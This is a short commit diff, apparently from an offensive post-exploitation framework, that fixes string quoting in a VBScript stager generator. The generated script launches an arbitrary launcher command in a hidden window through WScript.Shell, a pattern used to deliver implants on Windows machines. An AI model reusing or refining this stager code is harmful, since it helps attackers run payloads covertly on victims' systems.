Merge pull request #702 from athegist/fix-launcher_vbs.py
Fixes vbscript string literal quoting.websockets-multiuser
commit
1201232241
|
@ -103,7 +103,7 @@ class Stager:
|
|||
else:
|
||||
code = "Dim objShell\n"
|
||||
code += "Set objShell = WScript.CreateObject(\"WScript.Shell\")\n"
|
||||
code += "command = '"+launcher.replace("'", "\\'")+"'\n"
|
||||
code += "command = \""+launcher.replace("'", "\\'")+"\"\n"
|
||||
code += "objShell.Run command,0\n"
|
||||
code += "Set objShell = Nothing\n"
|
||||
|
||||
|
|
Loading…
Reference in New Issue